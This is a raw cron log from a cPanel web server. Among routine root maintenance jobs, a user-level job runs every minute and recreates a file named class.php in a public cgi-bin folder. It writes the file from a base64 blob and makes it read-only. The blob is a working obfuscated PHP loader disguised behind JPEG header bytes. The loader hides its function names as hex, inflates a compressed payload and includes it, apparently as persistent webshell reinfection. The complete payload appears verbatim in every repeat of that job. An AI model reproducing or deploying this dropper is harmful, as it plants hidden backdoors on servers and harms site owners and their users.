Sep  7 14:08:01 server CROND[11616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:08:01 server CROND[11615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:08:01 server CROND[11617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:09:01 server CROND[11983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:09:01 server CROND[11984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:09:01 server CROND[11985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:09:01 server CROND[11986]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 14:10:01 server CROND[12393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:10:01 server CROND[12394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:10:01 server CROND[12397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:10:01 server CROND[12407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:10:01 server CROND[12412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:10:01 server CROND[12408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:10:01 server CROND[12410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:10:01 server CROND[12406]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:11:01 server CROND[13227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:11:01 server CROND[13228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:11:01 server CROND[13229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:12:01 server CROND[13594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:12:01 server CROND[13595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:12:01 server CROND[13596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:12:01 server CROND[13597]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 14:13:01 server CROND[14087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:13:01 server CROND[14088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:13:01 server CROND[14089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:14:01 server CROND[14459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:14:01 server CROND[14460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:14:01 server CROND[14461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:15:02 server CROND[14853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:15:02 server CROND[14854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:15:02 server CROND[14859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:15:02 server CROND[14870]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 14:15:02 server CROND[14879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:15:02 server CROND[14877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:15:02 server CROND[14881]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 14:15:02 server CROND[14882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:15:02 server CROND[14878]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:16:01 server CROND[15698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:16:01 server CROND[15699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:16:01 server CROND[15700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:17:01 server CROND[16156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:17:01 server CROND[16157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:17:01 server CROND[16158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:18:01 server CROND[16581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:18:01 server CROND[16582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:18:01 server CROND[16583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:19:01 server CROND[17055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:19:01 server CROND[17056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:19:01 server CROND[17057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:20:01 server CROND[17455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:20:01 server CROND[17456]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
